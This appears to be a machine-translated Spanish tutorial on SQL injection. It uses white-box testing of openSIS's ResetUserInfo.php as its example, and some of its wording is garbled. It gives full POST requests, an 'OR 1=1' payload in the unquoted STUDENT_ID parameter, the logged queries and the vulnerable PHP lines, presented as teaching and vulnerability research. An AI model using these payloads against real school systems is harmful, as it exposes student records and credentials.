Agujeros en openSIS. Veamos las inyecciones de SQL usando un ejemplo en vivo: Hacker

En este artículo, analizaremos varios tipos de inyecciones SQL utilizando un ejemplo práctico: una aplicación openSIS, en cuyo código encontré varios problemas graves. Si desea aprender a detectar posibles problemas en el código PHP, este material debería ser una ilustración viviente. Será especialmente útil para principiantes que quieran comprender el tema SQLi.

openSIS es un sistema de información educativa abierto y gratuito disponible para escuelas e instituciones de educación superior. Está desarrollado y respaldado por Soluciones abiertas para la educación.

Instalé esta aplicación localmente, lo que me permitió ver todas las consultas que envió a la base de datos. En otras palabras, las pruebas se llevaron a cabo utilizando el método de caja blanca: el conocimiento del código y la estructura de datos nos permitió estudiar cuidadosamente cómo se procesó lo que ingresó el usuario y cómo se formaron las consultas SQL.

Estaba buscando lugares en el código donde se insertan entradas en la consulta SQL sin una verificación y limpieza adecuadas (validación y desinfección). Veamos qué logré encontrar.

Iniciando sesión

En primer lugar, necesitamos configurar el registro de consultas en la base de datos. Es decir, necesitamos registrar las consultas que se ejecutan en la base de datos, para luego poder usarlas para ver cómo respondió el programa a lo que el usuario ingresó en el sitio. Esto nos ayudará a ver los problemas con mayor claridad y aprovecharlos.

En MySQL o MariaDB, para habilitar el registro debe hacer lo siguiente:

1. Crear un archivo mysql.log en el directorio /var/log/mysql.

2. Cambie los permisos de archivos o carpetas y otorgue permisos al usuario de mysql:

   chown mysql:mysql /var/log/mysql -R

3. Abra el archivo de configuración de MySQL/MariaDB, normalmente ubicado en /etc/mysql/my.cnf o /etc/my.cnf.

4. Найти секцию [mysqld] (si no está allí, agréguelo usted mismo).

5. Agregue o elimine el comentario de las siguientes líneas para habilitar el registro de consultas:

   general_log = 1

   general_log_file = /var/log/mysql/mysql.log

6. Reinicie el servicio MySQL/MariaDB para que los cambios surtan efecto.

Un poco sobre SQLi

De cara al futuro, diré que encontraremos (pero no explotaremos) inyecciones SQL “ciegas”. A diferencia de otras formas de SQLi, las inyecciones ciegas de SQL no exponen datos directamente y requieren un enfoque matizado para la extracción de datos. Las inyecciones ciegas de SQL se dividen en dos categorías principales: basadas en booleanos y basadas en tiempo.

En Boolean Blind SQLi, modificamos la consulta SQL para que el sistema devuelva un valor booleano, es decir, una respuesta sobre si la expresión es verdadera o falsa. Este tipo de ataque explota la naturaleza binaria de las respuestas: el contenido de la página web o el código de respuesta HTTP cambiará dependiendo de la veracidad de la solicitud inyectada. Por ejemplo, cambiar una consulta puede hacer que aparezcan y desaparezcan elementos de una página web dependiendo de si los resultados de la consulta son verdaderos (la condición existe en la base de datos) o falsos (no existe).

Las inyecciones temporales de SQL ciegas son más sigilosas. Aquí inyectamos comandos SQL que hacen que la base de datos piense un poco más de lo habitual y los usamos para extraer datos de ella. La falta de información visual en la página hace que estos ataques sean especialmente difíciles de detectar. Si la condición de la consulta es verdadera, la respuesta de la base de datos se retrasa deliberadamente y ningún retraso significa “falso”. Al medir el tiempo de respuesta, podemos determinar la presencia o ausencia de datos específicos en la base de datos.

SQLi no autenticado

Al buscar errores en una aplicación, uno debe centrarse principalmente en las vulnerabilidades que no requieren autenticación del usuario, ya que son las más peligrosas. Encontré dos inyecciones SQL similares en la sección “Estudiante” en las funciones responsables de recuperar el nombre de usuario y la contraseña.

Envié dos solicitudes: la primera, simulando el trabajo del formulario Olvidé mi contraseña, la segunda, Olvidé mi nombre de usuario.

Has olvidado tu contraseña:

POST /openSIS/ResetUserInfo.php HTTP/1.1

Host: 192.168.147.131

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0

pass_user_type=pass_student&pass_type_form=password&password_stn_id=XSS&uname=aaaaa&month_password_dob=04&day_password_dob=25&year_password_dob=2024&pass_email=bbbbb&password_stf_email=ccccc&TOKEN=697a3d1713a51879a79ee08052d4683c68d78a1c776f606e32e92127d04c33e5

Olvidó su nombre de usuario:

POST /openSIS/ResetUserInfo.php HTTP/1.1

Host: 192.168.147.131

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0

uname_user_type=uname_student&user_type_form=username&username_stn_id=XSS&pass=aaaaaaa&month_username_dob=04&day_username_dob=30&year_username_dob=2024&un_email=&username_stf_email=&TOKEN=bf2278f6caffbf561127ce91c29849fdff3b9add9d88dcd7118f8cf1fca807b5&save=Confirm

Estas son las consultas SQL en las que se transformó:

Query SELECT s.* FROM students s,login_authentication la

WHERE la.USER_ID=s.STUDENT_ID AND la.USERNAME='aaaaa'

AND s.BIRTHDATE='2024-04-25' AND s.STUDENT_ID=XSS AND la.PROFILE_ID=3

Query SELECT la.PASSWORD FROM students s,login_authentication la

WHERE la.USER_ID=s.STUDENT_ID AND s.BIRTHDATE='2024-04-30'

AND la.PROFILE_ID=3 AND s.STUDENT_ID=XSS

Como ves, s.STUDENT_ID no está entre comillas, lo que hace que esta variable sea vulnerable a la inyección SQL. Puedo usar la carga útil XSS OR 1=1:

tail -f /var/log/mysql/mysql.log | grep -i 'xss'

2024-04-27T13:35:15.303711Z 9 Query

SELECT s.* FROM students s,login_authentication la

WHERE la.USER_ID=s.STUDENT_ID AND la.USERNAME='aaaaa'

AND s.BIRTHDATE='2024-04-25' AND s.STUDENT_ID=XSS OR 1=1

AND la.PROFILE_ID=3

2024-04-27T13:35:29.563796Z 10 Query

SELECT la.PASSWORD FROM students s,login_authentication la

WHERE la.USER_ID=s.STUDENT_ID AND s.BIRTHDATE='2024-04-30'

AND la.PROFILE_ID=3 AND s.STUDENT_ID=XSS OR 1=1

Así es como se ve el código vulnerable para restaurar un nombre de usuario. Archivo ResetUserInfo.phplínea 395:

$get_stu_info = DBGet(DBQuery('SELECT la.PASSWORD FROM students s,login_authentication la

WHERE la.USER_ID=s.STUDENT_ID AND s.BIRTHDATE='' . date('Y-m-d', strtotime($stu_dob)) . ''

AND la.PROFILE_ID=3 AND s.STUDENT_ID=' . $username_stn_id . ''));

Y aquí está el código vulnerable que procesa el formulario de recuperación de contraseña. Archivo ResetUserInfo.phplínea 296:

$stu_info = DBGet(DBQuery('SELECT s.* FROM students s,login_authentication la

WHERE la.USER_ID=s.STUDENT_ID AND la.USERNAME='' . $uname . ''

AND s.BIRTHDATE='' . date('Y-m-d', strtotime($stu_dob)) . ''

AND s.STUDENT_ID=' . $password_stn_id . ' AND la.PROFILE_ID=3'));

De esto podemos entender que si traqueteamos según la expresión =' . $entonces probablemente obtendremos todos los parámetros que no están citados.